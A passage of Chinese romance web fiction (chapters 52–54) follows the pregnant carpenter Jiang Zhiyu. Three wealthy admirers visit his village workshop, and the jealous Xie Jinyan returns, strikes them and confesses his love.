他诧异了片刻,像是看出了他的疑惑一样,霍岭生主动道:“昨天已经告知我打算在这里建一个生态园,阿延和我昨天也同你们当地的政府人员初步交涉了一下,所以这段时间,我预计在你们这里采集相关的信息,想了解你们自己对这个生态园有什么想法和期待。” 原来这样。 江之遇了然。 “那现在就已经开始了吗?”他问。 霍岭生嗯了声:“我对你们这里的乡民还不是特别熟悉,所以想先从你这里开始,也想请你给我一些帮助。” 怎么这么像自己的借口…… 祁焰在脑海里想了想,都是从之遇哥这里做切入点,岭生果然目的不纯。 只是没想到他搞这么大,直接要在这里建生态园。 祁焰目光在岭生和黎清叙两个人身上来回打量。 阿延不在,他们竟然这么明目张胆。 他都有点不好意思了。 可是阿延又确实和之遇哥是仅有一个孩子的关系。 岭生说的。 第52章 第 52 章 谢狗:我就是喜欢他怎么…… 一时间, 江之遇的屋子里聚集了三个俊逸非凡的男人,还都是昭昭小叔的朋友。 他们一个要教自己孕夫操和胎教方法,一个要在自己的小院拍宣传视频, 还有一个打算建立生态园, 来自己这里采集乡民意见。 这也是第一次昭昭小叔不在身边, 他同时面对他们三个, 总有些不自在。 因为在江之遇看来, 他们完全是两个世界的人, 如果不是那次在包厢凑巧他们三人也在,他以为这辈子都不会见到他们。 江之遇没去细想他们出现在这里的种种缘由和巧合。 只当是这些豪门少爷特殊的聚会方式和爱好,除此之外, 江之遇想不到其他的理由。 但总归对他的家乡来说是有好处的。 他问霍少爷有什么想了解的。 上次霍少爷临走时给自己留了本珍贵的记载各种失传古技法的书籍,他答应过对方如果有可以帮得上忙的地方一定会尽力而为。 霍岭生视线凝上眼前这张清隽漂亮的面庞上, 询问道:“去工具室可以吗?” 江之遇点头:“可以。” 正好祁少爷在外面拍视频, 在工具室的话不会影响到他的拍摄。 江之遇带霍少爷到工具室。 重新踏入这间木屋,熟悉淡淡的草木清香和木屑的味道钻入鼻尖, 霍岭生被这样的气息重新包裹, 仿佛踏入了曾经属于他们两个人的私密地域一样。 他不动声色嗅闻着这里的味道, 目光落到摆放着做了一半手工制品的工作台上,旁边摊开自己留下来的那本古籍书。 他视线在书页上停留片刻。 想到自己触碰到的地方也被男人翻动书页时用指尖触碰过,就仿佛那日傍晚,他覆着薄茧的手指包裹住自己的手背。 霍岭生眸光晦涩,问:“阿延最近都是这样飞来飞去的吗?” 江之遇给屋子里的三个人都倒了一杯茶, 正端了霍少爷这杯进来, 听到他问起这么一句,微微一怔:“嗯,他一直都是这样的, 如果太晚的话他就会在这里留宿一晚。” 霍岭生听到留宿两个字,虽然一开始就知道他这位发小因小侄子的关系顺理成章地同自己的小侄子一起住在了这里。 也知道这处小院有一个房间几乎已经成了他这位发小的临时居所了,可内心还是难免有些波动。 尤其是他刚才穿过葡萄藤架走进屋子,一眼就看到阳台最显眼的位置摆了盆清新漂亮的兰花。 莲瓣兰素冠荷鼎。 价值一千五百万的兰中孤品。 和眼前这个漂亮的男人一样,仿佛遗落在山中的珍稀素草。 他原也打算拍下,没想到被人抢先一步。 可笑的是,这盆珍贵的兰花到底最后还是归属到了这个男人手中。 还有客厅一角那只缩在笼子里像这个男人一样乖巧可爱的垂耳兔…… 霍岭生没想到他的发小行动这么迅速,短短时间就让这座小院到处都留有他的痕迹。 江之遇见霍少爷忽然沉默下来,半晌不说话,冷白的手指握着茶杯,能看到杯子里清透的茶水微微晃动出细小的波纹。 他清冷的眼眸也覆上一层晦暗不明的情绪,像寂冷的湖泊飘来一阵浓雾,所有的一切都看不分明。 江之遇一向看不透他,也没有探听别人的习惯,只出声打断他,问他意愿征集什么时候开始? 霍岭生恍然回神,拿出平板电脑,在之前每次自己和这个男人一起做手工木活时坐在的那张凳子上坐下。 “抱歉,刚才在想别的事情,我们现在就可以开始了。” 两个人坐在工作台前。 江之遇听他先讲述了一遍关于这个生态园区建设的初步构想,神情像极了当初昭昭小叔拿出规划图纸给他讲要在溪源乡修建空中校车、悬崖电梯,还有架桥的样子。 而此时山脚下就时不时传来机械响动的声音,这个愿景没用多长时间就已经在搭建。 “看起来还真像那么回事。” 堂屋里,黎清叙一边悠闲品着茶,一边望着工具室里的景象,打算这次一回去就给溪源乡捐路捐医院。 祁焰则一边拍摄,一边探头探脑望屋子里看,也感慨一声:“他一直都是这样,吃饭都能吃出重要会谈的样子,道貌岸然,不是,一本正经的。” 祁焰原以为今天是属于他和之遇哥的。 没想到不仅黎清叙提前一步死赖在这里不离开,岭生也来到了这里。 他敢和黎清叙呛,却不太敢和岭生争。 主要是岭生这个人太邪性了,又正又邪的。 说他正,他敢和自己好兄弟跑了的老婆的手黏在一起,看对方的眼神仿佛要把对方生吞活剥,视线黏黏腻腻。 说他不正,又恪守规矩的很。 至少除了被自己撞见的那次,再也没抓到过他有任何逾矩的地方。 祁焰看他们在工具室里交谈。 这次不能像上次那样搬个凳子横插在他们两人中间,上次他找的借口是对之遇哥的木工手艺很感兴趣,能待在一边看。 这次他可是已经说了要拍vlog的。 葡萄藤下的斑驳光影在青石板上缓缓移动。 阳光洒了碎金一般,轻微的风拂过绿叶,掀起一阵绿色的涟漪。 祁焰视线从工具室里移开后,就拍摄起了院子里这座漂亮的葡萄藤架。 他后来知道眼前已经爬满了蓊绿枝叶的葡萄架就是他之前好不容易打通电话,从昭昭口中得知的阿延帮忙搭建的那个。 没想到阿延那双手竟然也会做这种事情。 搭得还挺好。 祁焰拍下这座漂亮的小院漂亮的葡萄藤,又拍了拍小菜园里的各种蔬菜瓜果,全都是之遇哥自己亲手种植的。 还有咕咕叫的鸡。 听说农村散养的鸡下的土鸡蛋特别香,这是之前祁焰当飞行嘉宾去一档田园综艺听其中的一名工作人员说的。 而且祁焰自己也听老黎提到过昭昭养父做饭特别好吃,尤其是用自己手工擀制的面条做的西红柿鸡蛋面,更是味道一绝。 可是他都找不到机会尝一尝。 在院子里四处拍了一通,祁焰终于忍不住又跑回了屋子里。 黎清叙这家伙似是在开通话会议,真是不要脸,明明不像他们有正事要做,却死皮赖脸赖在这里不走。 那束玫瑰花以不要浪费为由,插进了厨房一个陶瓷罐里。 说下次不会再做空运过来一束鲜花这么浪费的事情了,这束花不能随意看着它被丢弃。 他在屋子里闲逛了一会儿,有些无聊。 又舍不得离开。 好不容易阿延不在,虽然黎清叙和岭生在这里有些碍眼,可难得有这样可以待在之遇哥这里的时刻。 而且他还想着一会儿能不能在这里蹭顿饭,他也想吃之遇哥做的饭。 祁焰坐在堂屋的椅子上剪辑视频,一边应对催他早点回去的经纪人。 他胡乱回了几句,又去看工具室里美人的侧颜。 真好看啊。 第一眼在包厢见到的时候就觉得长在了他的审美上。 就是那时的衣着和口音让他有点意外。 还和阿延怀了孩子。 他怔神地望着。 终于,里面像是告一段落似的,岭生起身,向之遇哥说了声谢谢。 祁焰连忙进去,问之遇哥能不能和他拍一段视频。 “你是说要我出镜吗?”江之遇有些意外。 祁焰腼腆地点点头,努力藏住心中一点小心思:“上次看之遇哥做木工,觉得你的手太巧了,我想帮你拍一拍,也说不定对非遗传承有一定的宣传效果。” “这……”江之遇有些犹豫,祁少爷的提议是不错,可是,他垂了垂眼睫,有些内敛道,“我不太会面对镜头,也有点不好意思,出现在你的镜头里会不会不太合适。” “怎么不合适,之遇哥这么漂亮,不被拍摄下来才是最遗憾的!”祁焰目光炽烈地说。 说完,看到岭生还有工具室外的黎清叙都朝他投来意味不明的视线,仿佛看穿了他的心思一般。 因为祁焰其实是想自己偷偷藏一段之遇哥的视频,或是照片。 他的脸红红的。 从耳根到脖子颈全红了。 握着手机的手也冒出热汗。 怕心思暴露,祁焰又支支吾吾说道:“我是说也许之遇哥能够入镜效果会更好,当然,之遇哥你要是不好意思的话,我们也可以只拍手部或是侧面。” 这倒是可以接受的,如果不露脸的话。 江之遇看祁少爷不知怎的急出了一额头的汗,帅气张扬的脸也像被热水烫过一样红红的,他想到乡长让大家配合的话,点了下头:“那就拍手和侧面吧。” 祁焰一听之遇哥答应了,特别开心。 能拍到手他就很知足。 黎清叙好整以暇地走过来。 霍岭生原本打算离开的,这会儿却停住脚步,没有情绪的冰冷目光落在这位藏不住心思的发小身上,倒要看看他作什么妖。 “喂,你们不走吗?” 祁焰看岭生明明忙完自己的事情却不打算离开的样子,黎清叙这家伙竟然也跑来这里碍眼。 他不满道:“你们在这里会影响我拍摄。” 黎清叙笑了笑,倒是没戳穿他,只意味不明地反问一句:“是吗?” 狡猾狐狸一样的笑看得祁焰心虚不已,尤其是旁边还有个冰冷审视着他的岭生。 祁焰想着本来他也只想偷偷藏几张之遇哥的照片,又没其他的,就扬了扬眉梢,十分坦然的样子:“随你们。” 他拿起手机。 江之遇看他们几个奇奇怪怪的,而且霍少爷居然也不走了,都围在一间小小的工具室里看他拍摄。 江之遇坐回工作台前,问祁少爷:“是我随便做点什么就可以吗?” “嗯嗯。”祁焰重重点头,镜头已经对焦过去。 窗前一株新栽没几个月的石榴树,树干不那么粗壮,但因为地处草木繁盛的温润之地,它很快抽了新枝,现在也满树翠绿,还结了几颗小小的石榴果。 从这扇窗能恰好收入庭院里的景致。 祁焰对焦过去镜头,看阳光斜斜落入,小窗美景如画,镜头中的美人也像画一样美好。 他痴痴的表情,告诉之遇哥:“你就像平时自己工作时那样就可以了。” 好吧,江之遇拿起工具,继续完善自己做给宝宝的一座积木树屋。 然后时不时面对祁少爷的提问,和他讲解几句自己在做什么,介绍他手中的工具名称,制作木屋用到的工艺等等。 他声音温软好听,一口吴侬细语听得屋子里的人耳膜都痒痒的。 黎清叙看他清透眼眸浸在斑驳透亮的光影里,一阵舒缓的风吹过,窗前飘飘悠悠几片花瓣,他轻微颤动在碎光里的眼睫也像在翅身染了金屑翩翩起舞的蝴蝶。 霍岭生同样凝视着这样的画面。 几道沉沉的晦涩视线投射过来。 江之遇感到自己的脸颊、手背还有脖颈,都像是被火舌舔噬了一下,有种灼热的感觉。 也可能和窗外明亮的太阳光线和自己第一次在别人的镜头里感到不自在有关。 “那个,之遇哥,能不能请你再换个角度。”祁焰望着镜头里的美人,每一帧都漂亮得让人心动。 尤其是他侧身对着自己,光将他整个侧身还有侧脸镀了一层朦胧的光圈。 他看不清他的面容,却能看到他卷翘的睫毛,水润的唇瓣,还有上次在船上他俯身贴过来时,祁焰在他左侧靠近耳垂的脖颈上看到的那颗小痣。 也像点了金光一样。 仿佛用手触碰一下就会被烧灼。 他强迫自己移开视线,专注在其他地方。 江之遇转过身,看他脸似乎比刚才更红了,身上像冒了热气一样,一副中暑的模样。 可分明已经过了暑气浓烈的夏季。 江之遇问:“你要我做什么角度?” 祁焰走过去:“我想拍一下你刚才俯身凑到桌子上的积木木屋前,用笔在上面构线的画面。” 江之遇:“?” 他回忆了一下刚才的动作,拿起画线笔按照他说的俯了俯身:“是这样吗?” 祁焰点头:“对,手再往上一点。” 江之遇便又抬了抬手:“这样可以了吗?” 祁焰眉头轻微拧了拧,盯着手机屏幕里的构图:“好像差点什么。” 他思索了一会儿,走到美人身边,握住他的手往外侧了侧,露出虎口和指尖上一层薄茧:“我想把这双充满故事感的手也全部拍进去。” “拍手就拍手,动手做什么?”黎清叙看到这里,忍不住走过去一把握住一截细白的手腕,一把将另一只不老实的手扯开。 “我只是想帮之遇哥调整一下姿势,保证完美构图,还有把手上做木工留下的痕迹也拍进去。”祁焰慌张地为自己辩解。 黎清叙似笑非笑:“你是在拍vlog,又不是在拍大片?还构图,我看你就是在动歪心思。” “我没有。”祁焰委屈,他真的是觉得之遇哥刚才俯身给木屋构线时的画面很美好。 秀美侧颜俯下,被光晕映照得看不清面部细节,整个人还有画面却又柔和又美好。 他纤长漂亮的手握着一支笔,木屋在他手上投下一片阴影。 阴影覆盖下是虎口、拇指和食指的指腹因长长时间做手工艺制品留下的一层薄茧。 他沉浸其中,像在绘制一个美好的梦。 祁焰没有艺术功底,也没修习过镜头语言,可就是觉得这一幕很美好,想把它记录下来。 黎清叙笑了笑:“那你直接说不就行了,为什么要自己上手?” “好了,别吵了。” 霍岭生自始自终看不出情绪地注视着眼前这一幕,视线落在黎清叙手上,冷嗤一声:“你也没好到哪里去。” “好好好,审判长又开始发起正义的审判了。”黎清叙笑了笑,望了眼落在自己手上的审视视线,松了松手,退后一步。 没注意到他身后就是昭昭养父那排每个格子几乎都摆放了一个木质小玩具的置物架。 他这么一退,脊背撞上置物架,木架轻微晃动了下,上方那只长长脖颈的木制长颈鹿晃晃悠悠就要往下掉。 江之遇在他们莫名其妙又争吵起来注意到了,起身去接这只一摔怕不是要摔断脖颈的长颈鹿。 霍岭生也看到了,伸过去手。 黎清叙出于本能反应随手就朝往下掉的影子抓去。 祁焰脑子慢了一拍,可是被岭生的力道带了过去。 所以当谢津延挂断视频通话快速开完会议就匆匆忙忙赶回这里时,看到院子和堂屋没有人,工具室里却混乱成一团的画面。 他目光沉郁地盯在他们捉在男人手背上的手,旁边还有一个痴痴呆呆扑上去的身影。 谢津延上前一人给了一拳。 脸上传来钝痛的感觉,似有血腥味在口腔中扩散开来。 霍岭生松开手,望向冷冷注视着他们的这道身影,没去擦唇角的血迹。 倒是黎清叙很是意外。 “你疯了吗?干吗二话不说就动手。” 他舌头抵了抵下颚,一口血腥味,还好牙没掉。 阿延这狗东西,下手可真够狠的。 只祁焰挨了一拳没吭声,察觉到危险气息,也有些心虚似的。 江之遇愣了愣。 不知道昭昭小叔怎么突然回来了,而且浑身充满了暴戾的气息,也不知道眼前的情况是怎么一回事,他们几个好朋友为什么会打起来。 他张了张口,想问他怎么了。 却被男人拉过手腕,一言不发地护到身后,如果他没有理解错的话,彷佛围在他身边的是一群豺狼野兽。 然后听他听不出情绪地冷声对黎少爷:“为什么打你你自己清楚。” 黎清叙笑:“我不清楚,我只知道我被自己的好兄弟莫名其妙打了一拳。” “是吗?那厨房的玫瑰花是怎么一回事,我一走你就往这里跑是怎么回事?今天是什么理由?继续讲故事还是看手相?” “阿延,你误会了。”霍岭生轻微皱了皱眉道。 谢津延看向这位心思莫测,自诩正义,却摇身一变霍总跑来这里和自己争开发建设权的发小,面无表情问:“那你说,是什么误会?” 祁焰小小声地插进去一句:“是之遇哥的小鹿差点从木架上掉了,大家想帮他接住小鹿。” 谢津延一听他喊‘之遇哥’就烦:“所以,为什么会掉?他自己一个人好好待在家里,平时对这些东西宝贝得紧,一点意外都没有,为什么你们一来就掉?还有,你们三个到底为什么总往这里跑?” 祁焰:“我来拍……” “别找这些冠冕堂皇的理由。”谢津延极力压制住心中的戾气,冷嗤道。 “不是阿延,你这是什么意思,只准你来这里,不准我们来,溪源乡是刻了你名字吗?”黎清叙心中也被激起一阵火气,尤其是他才是最先到这里的人。 谢津延讥诮:“是没刻我的名字,可你们不觉得你们来这里的目的太不单纯了吗?” “那你又是什么目的?”黎清叙笑了笑,面部神经一抽,嘶,好疼。 看来他回去也要练几手了。 “你别告诉我,你成天飞来飞去,又是在义务这里修缆车,又是架桥,还给昭昭养父买1500万的兰花,是因为你钱多得没地方花。” 1500万的兰花? 江之遇身形一怔,听到黎少爷这句话,望向堂屋阳台上的兰花。 他不是告诉自己这盆花是150块钱吗?怎么会这么贵。 谢津延眸色暗了暗。 祁焰也意想不到似的,他就说今天走进这座小院总觉得哪里有些扎眼,原来是摆了盆兰花宣誓主权。 霍岭生没有作声。 谢津延蹙眉片刻,心情有些烦躁:“我做什么和你们无关。” “那我们做这些又和你有什么关系呢?”黎清叙反唇相讥。 “我是他肚子里孩子的生父,你们又算什么?” 谢津延终于忍不住冷声道。 工具室陷入了一瞬的静默。 这个这么长时间从未被宣之于口的隐秘话题终于被提起。 江之遇身躯一僵,似乎没有想过他会提这件事。 自从签了那张协议单,他就以为两个人已经彻底切割,他们之间只剩下昭昭这层联系。 男人也从来不在自己面前提及他是孩子生父的事。 且一直遵守只要是和孩子有关的一切,只在两人加的那个联系方式上说。 江之遇想,他应当是接受了。 尽管他们现在常常见面,可也只是因为昭昭。 怎么也没想到他其实是在意的。 江之遇有些混乱。 而这时,黎清叙出声打破沉默:“其实你们之间除了有这层关系还有什么?别忘了,你们两个人之间只是意外,昭昭养父那天说了不想和你有牵扯,你也在那张协议单上签了字,你们现在什么关系都没有,哦对,还有层你小侄子的关系。” “就是……”祁焰小声嘟囔一句,“岭生也这样说过。” 霍岭生:“……” 谢津延怔了怔,思绪一下子被拉回到那个大雨滂沱的傍晚,男人在雨幕前颤抖着眼睫一定要自己签字。 不签字他就不离开,那么迫不及待和坚定地想要和自己割断一切联系。 谢津延那几天也在想,他走了就走了。 反正是个意外,他不愿和自己有牵扯,自己又何必挽留他? 就好像自己也愿意和他有牵扯似的。 可是…… 总也忘不了他在走廊用细白手指紧紧抓在自己胳膊上的触感,喋喋不休却又黏腻好听的声音。 还有小心翼翼看向自己胆怯又倔扭的清透眼眸。 这些时日,谢津延有时候自己都不知道自己在做什么。 很多时候几乎是下意识的,可是思绪就是忍不住为他牵扯。 会为他每次给自己点的那支飘散着袅袅草木清香的驱虫香而感到心神安宁惬意。 会为他每次被自己靠近露出受惊的表情又努力迎上自己视线的模样可爱到,感到心情愉悦。 他冲自己笑一下,他心里就像打翻了蜜桃水一样。 可是有别人围在他身边,他又克制不住地阴暗,酸涩,嫉妒,想赶走他身边所有不怀好意的人。 尤其是这几个眼神和自己一样的发小。 好像从第一眼见到他起,自己的心绪就没有因为他平静过。 谢津延敛眸,所有的情绪涌集心头,仿佛一道高高掀起的海潮压得他胸腔透不过气。 又像是被什么挖空,挖出一个他这些时日怎么也填不满的巨大的空虚寂寥的洞。 他面上的表情有些怔然,身上的戾气也一瞬间有些无处宣泄。 黎清叙见他半天不说话,整个人的状态怪怪的,总是挑出笑意的眉头终于忍不住蹙了蹙。 “怎么,不像疯狗一样咬我们了?真不明白你占有欲怎么这么强,自己都已经断了联系还死死霸着对方不让别人靠近。” “该不会是你后悔了,一次次跑来乡下是想把昭昭养父追回去吧?” “是……” 忽而,这位突然沉默下去一言不语,似是陷入某种怪异状态的发小再次沉沉出声。 “我就是后悔了,我不该在那张协议上签字,不该放他离开,不该让你们在我家里见到他,我就是喜欢他,喜欢到你们看他一眼我就想揍你们。” “哐当”一声。 江之遇手中的木制长颈鹿掉落在地。 他愣愣地站在原地,隽秀的脸上写满了不可置信和迷茫。 他刚才听到了什么? 昭昭小叔说喜欢他。 ……是他理解的那种喜欢吗? 第53章 第 53 章 想亲你、抱你………… 江之遇大脑“嗡嗡嗡”的, 像是有什么东西在脑海里炸开,让他整个脑袋混沌成一片,失去了暂时思考的能力。 他满脑子都是昭昭小叔说的这声喜欢, 他说他喜欢自己。 后悔在那张协议单上签字, 后悔放自己离开。 可是, 昭昭小叔不是亲口对自己说过, 他不喜欢男人吗? 而且不止一次, 不止一次说过他对男人没兴趣, 和自己只是意外,每次都是不想和自己有任何牵扯和瓜葛的样子。 怎么会突然说这样的话…… 江之遇感到懵然,又有些不太理解。 他在想昭昭小叔是不是受什么刺激了, 或是哪里不舒服。 还是,他口中的这声喜欢是自己理解错了。 因为怎么看, 昭昭小叔都不像是能说出这种话的人, 尤其是对自己。 他们两个人从第一次见面就充满了意外,昭昭小叔对自己很不耐烦。 尽管后来江之遇才知道, 他那时以为自己给他下药, 要对他做图谋不轨的事。 可是无论是后来暂住在谢家庄园还有往后种种, 他都不像是愿意和自己有牵扯的样子。 尤其是他们本质上是两个世界的人,这样一个出身豪门世家,手握权力和资源,站在名利场中心的天之骄子,怎么会喜欢自己这样一个乡下人。 他们还有一层养父和小叔的关系。 是不是哪里搞错了…… 江之遇极力转动着大脑, 努力去理解昭昭小叔刚才说的这些话。 工具室里的其他人也很意外。 黎清叙斯文面上的表情僵住, 他脸上挨了一拳,面部有些青肿,因此这张平日里总是能迷晕很多人的斯文俊逸的脸上第一次看上去很是滑稽难看。 他似乎没想到自己的反唇相讥会激起发小的心声吐露和告白。 更没想到他成日往乡下跑竟真包藏着这样的心思。 黎清叙一时说不清自己的心里是什么样的情绪。 就好像昭昭欢迎宴那天, 他在收进漂亮景致的谢家偏厅廊道无意间撞见自己以为是发小家佣人的美人。 一袭古典风格的刺绣衣裳,和那日在花园里见到的彷佛是两个人,但一双漂亮纯透的眼眸又告诉自己没有认错。 然而很快他和阿延的牵扯让自己心纠,不是金屋藏娇的情人而是发小找回的小侄子的养父又让他心情一下子舒展。 上上下下,起起伏伏。 包厢那日更不用说。 黎清叙从来没有想过有一天他也会被一个人吸引全部的注意力。 他向来具有探索精神和对科学实验严谨态度的追求。 如果说一开始是对这种引起自己不可控心跳的人感到好奇,也或许有见色起意的成分在。 可后来这个老实淳朴的男人一次次打破他的认知,让他轻易煽动人心的技巧在他身上无处施展。 黎清叙开始不再是一副研究者的心态了,对这个男人起了真正的兴趣。 可怎么也没想到抱有这种心思的不止他一人。 还后来者居上,这么快就展开行动。 阿延这狗东西不愧是一接手他骤然逝世的大哥留下的摊子就能快速整清局势,迅速站稳脚跟的人。 手腕强悍,雷厉风行,签协议快,反悔也快。 黎清叙都有些后悔自己刚才嘴欠了,为什么要激这条疯狗。 而一旁的霍岭生同样眸色沉晦,似乎没料想是这样的状况。 只是他向来是不轻易显露情绪的人,尽管内心心湖震荡,面上却看不出什么。 只有祁焰一个人张大了嘴巴,和霍岭生恰恰相反,他向来藏不住心思,喜怒哀乐总是轻易反应在脸上。 仿佛回到了那个雨珠噼里啪啦砸着酒吧包厢玻璃窗的那个傍晚。 只是情况好似有了很大的变化。 一道道意味不明的视线投射过来。 江之遇的大脑依旧懵懵的,始终没有弄明白状况。 许久,他拉了拉挡在自己面前男人的衣角,鼓起勇气开口:“……你是不是哪里搞错了,你怎么会喜欢我呢?你是不是又哪里不舒服在说胡话,我看你昨晚像是没有睡好的样子。” “我没有说胡话。”谢津延转身,俊逸面庞上的表情很是复杂。 他的大脑有一点充血,胸腔依旧像被潮水挤压一样,闷得他快要透不过气。 可是那种填不满的空洞却好似消失了。 他漆黑眼眸沉沉注视着眼前这个牵动他所有心绪的男人,嗓音有些暗哑却清晰,一字一顿:“我没有说胡话,也没有搞错,我说的都是真的。” “可你不是说你不喜欢男人吗……”江之遇一被他这样的视线盯住,就浑身不自在,小声嘟囔了句。 谢津延觉得自己的脸颊像是被抽了一巴掌,火辣灼痛的感觉在脸部蔓延,心脏也像是被一只无形的手狠狠捏了一把。 然而,他现在什么都顾不了了。 几个发小豺狼虎豹一样窥视四周,他稍一松懈,他们就虎视眈眈地环伺过来。 这个男人又总是不设防的样子,丝毫察觉不到危险,就这样把雪白的脖颈随意暴露在肆意窥探的视野里。 谢津延原本还想给自己找个理由,他所做的一切都是因为小侄子。 还有,就算男人和他切断了联系,肚子里的孩子怎么也是他的。 谢津延不可能放任自己的亲生骨肉不管。 然而直到一次次失控,他不仅所有心绪都被这个男人牵扯,无论是心还有身都对他产生了强烈的欲望。 他的心期待被他的一言一笑填满。 身体总是克制不了对他产生反应,一次次生出欲望,最后根本舒缓不了,急需心理上的安慰。 而这一切的一切在刚才看到的工具室里的景象全部崩盘。 尽管知道是个误会,但不敢想象继续演变下去会变成什么。 因为谢津延自己都说服不了自己,再也找不到充足的理由解释他眼中窥探出去的浓烈欲望。 而和他一起长大的这群彼此之间再熟悉不过的人,又怎会不知道他们眼中流露的是什么的情绪,包藏的是怎样不怀好意的心思。 谢津延在自己家里看到黎清叙一副失态的样子注视着这个男人的时候就该察觉,已经有人起了觊觎的心思。 他定定地望着眼前一双努力迎上自己视线的眼眸,似是自嘲的语气,扯了扯唇角:“是啊,我是说过这样的话,也确实对男人没兴趣,可不知道怎么就在你身上失效了。” 江之遇呆了呆,再度用迟钝的大脑解析昭昭小叔的话。 还是觉得不可置信。 是哪里出问题了吗? 还是他在捉弄自己。 江之遇知道自己性格温吞迟钝,很多时候不能第一时间理解别人的意思,总是后知后觉。 所以他喜欢简单明了用双手就可以付诸行动和回报的事物,不需要更多地去揣摩别人的心思。 也越来越自在他给自己搭建的这样一个简单平凡的小窝和简朴的生活方式。 他想了又想想不明白。 即使知道这是个男人可以和男人相恋的世界。 主要是他们之间的差别实在太大了。 江之遇涨红了脸,支支吾吾道:“我还是觉得你可能是哪里弄错了,你怎么会喜欢我呢?是不是出于责任感要对孩子负责?” “还有……”他又想到一种可能,“你是不是因为那天晚上的事情想要对我负责?” 江之遇连忙摆手:“你不用对我负责的,我说过,那天是意外,你当时控制不住自己,我也看在昭昭的份上不和你计较,我们就都当什么事都没有发生过,我也不是女孩子,不需要你对我负责的。” “你是这样认为的?”谢津延看他这双红润的唇瓣又像那晚一样喋喋不休地吐出一堆话。 他心情很是复杂。 江之遇茫然:“不然呢?你都说了你不喜欢男人,虽然你说到我这里失效了,可也许是你弄错了什么。” “就好像,”他努力寻找措辞,“就好像有些人误把一些别的情感当成喜欢,你可能也是这样。” “是吗?”谢津延这次心情倒没有那么复杂了,只盯着男人一张快要拧巴到一起的隽美的小脸。 上面写满了茫然和纠结,又铺了一层绯丽的红,努力给自己找理由,很漂亮又很好欺负的样子。 谢津延忽而笑了下,乜斜起狭长漆黑的眼眸,盯着男人这张不知道怎么办的脸。 “那想亲你的这种喜欢也是弄错了?” “你说什么?”江之遇听到他突然说出的这样一句话,一瞬间睁大眼眸,以为是自己的耳朵听错了。 他在说什么啊,想亲自己? 谢津延最喜欢看他琥珀一样的漂亮眼眸一下子睁大,瞳仁微扩,流露出震惊的情绪,就特别像受到惊吓的小兔子,让人心生怜爱又忍不住想欺负。 谢津延:“我说我没有弄错对你的感觉,因为我总想亲你,抱你……” 剩下的话没有说完,嘴巴被捂住。 熟悉清新好闻的草木清香袭来,还有一阵淡淡的木屑的味道将他包裹。 他的嘴唇贴着他手心的温度,覆着一层薄茧的粗粝触感也在他的唇上刮蹭着。 还有脸颊上的皮肤。 呼吸纠缠着他手心的温度,草木清香和木屑的味道灌入鼻腔。 谢津延感受到自己的胸腔在剧烈跳动。 捂着自己的呼吸也在烧灼,他感觉他的手指在发烫,而自己的嘴唇也快要烧起来。 一下子变得干渴难耐。 江之遇不知道这个动作对眼前男人来说具有多么大的诱惑力。 他有一瞬觉得手心有些痒,也很烫,似乎被什么软热的东西擦过。 他只伸手捂住男人的嘴,磕磕绊绊的,脸涨的更加通红:“你、你快闭嘴,别说了。” 屋子里还有其他三个人在,这个男人是怎么说出想要亲他、抱他这样让人感到无比羞耻的话。 第54章 第 54 章 我不想你给宝宝找一个后…… 江之遇觉得很是羞耻。 比之前在包厢顶着众多好奇隐晦的视线拿出孕检单告知眼前这个男人自己怀孕的事还要感到羞耻。 他能感觉到自己的耳垂和脸颊在发烫, 手心也烫。 真是的,这个男人平日里惜字如金,可偶尔说出的话又总是弄得他不知道怎么办好。 他捂了捂对方的嘴, 阻止昭昭小叔继续说下去。 虽然江之遇不知道他后面会说什么, 可总感觉会是更羞耻的事。 毕竟这个男人可是被别人撞见做那种事, 非但不下去, 反而更加兴奋的人。 江之遇脖子颈更红了, 捂着男人的嘴, 眼睫不住地颤动:“我、我们出去说吧。” 谢津延拿开他的手,草木清香和木屑的味道拉远,他握住这截手腕, 沉冷视线掠过一旁面色各异脚步却未挪动分毫的发小们:“要出去不也应该是他们出去吗?” 谢津延冷嗤,朝他们挑了下眉梢:“你们还要在这里围观多久?” 黎清叙脸上的表情有些难看, 不可否认刚才那一幕让他心里很是烦躁和酸涩, 却仍维持着面部的斯文,得体笑了笑:“我主要等着看后续呢。” “上次昭昭养父一纸断绝关系协议书让我很是惊讶, 不知道这次他又要找什么理由拒绝你。” “我看你还是不要让他为难了。” 谢津延面色变了变, 但也只是一瞬, 随后又扯起唇角讥讽的弧度:“不管怎样,我好歹有被拒绝的机会,不像有些人,只会背地里耍阴招,表面一套背后一套。” “其实, ”谢津延忽而弯起唇角, 走到这位发小面前,像他平常的习惯一样,也用手在他肩上轻轻拍了拍。 “我挺感谢你的, 黎清叙,要不是因为你,我也不会白得这样一个机会。如果有一天我结婚了,一定在贵宾席给你留个最尊贵显眼的位置。” 黎清叙:“……” 平生第一次想爆粗口。 黎清叙极力压制住心中的火气和想要爆粗口这种与他君子气度不相符的冲动,大度笑了笑:“那祝你父凭子贵,愿景成真,别最后又当着好兄弟们的面闹笑话,还挺替你尴尬的。” 说完,黎清叙迈开长腿,离开工具屋。 只是走到门前又折回一步转过身,冲一脸羞窘懵然却更让人心动难耐的美人扬起斯文笑意:“还记得我给你做产检的时候问过你的话吗?” 江之遇愣了下,想了想不记得,有些茫然:“什么?” 黎清叙桃花眼笑得和煦迷人:“我那时有一句话想问你,却被阿延他们打断了,我想问的是,你有没有想过以后给孩子找一个后爸,你也看到了,你身边的优质男人并不只有阿延一个,或许如果你不打算接受阿延的表白,可以看看其他人,不要一个人这么辛苦。” 这句话说完,黎清叙就笑着离开了,脸色也没再那么难看,心情又重新变得很愉悦的样子。 江之遇怔了怔,隐约记起他好像是问过这样一句话有头没尾的话。 给孩子找后爸? 看看其他人? 谁? 江之遇茫然的眼眸望了一眼穿过葡萄藤架离去的风度翩翩的身影,又望向屋子里两外两个男人。 一个眸色清冷,却覆着不明的晦涩,平静湖面底下涌动着什么一样。 他视线对上这道目光,就有一种裸.露在外的皮肤被这样意味不明的眼神寸寸剥开的感觉。 江之遇心脏一惊,连忙移开眼。 却又猝不及防撞见祁少爷定定注视着自己的眼眸,倒没有霍少爷那样看不分明,小太阳一样眸色透亮。 但好像有点炽热,还有些闪躲。 他看过去这一眼,这张帅气张扬的脸立刻以肉眼可见的速度变红。 江之遇一时间有些懵。 想到黎少爷刚才留下的那番话,他说的那些人该不会、该不会就是他们这几个昭昭小叔的朋友吧? 江之遇觉得自己的大脑又转不动了,像是突然塞进了许多棉花,又像是被无数根丝线缠裹,变得混乱不堪。 而这时,他听霍少爷开口,嗓音还是一惯的清冷,听不出任何情绪,仿佛刚才的对视是自己的错觉。 “今天打扰了,谢谢你提供给我的信息,改日我再登门道谢。” 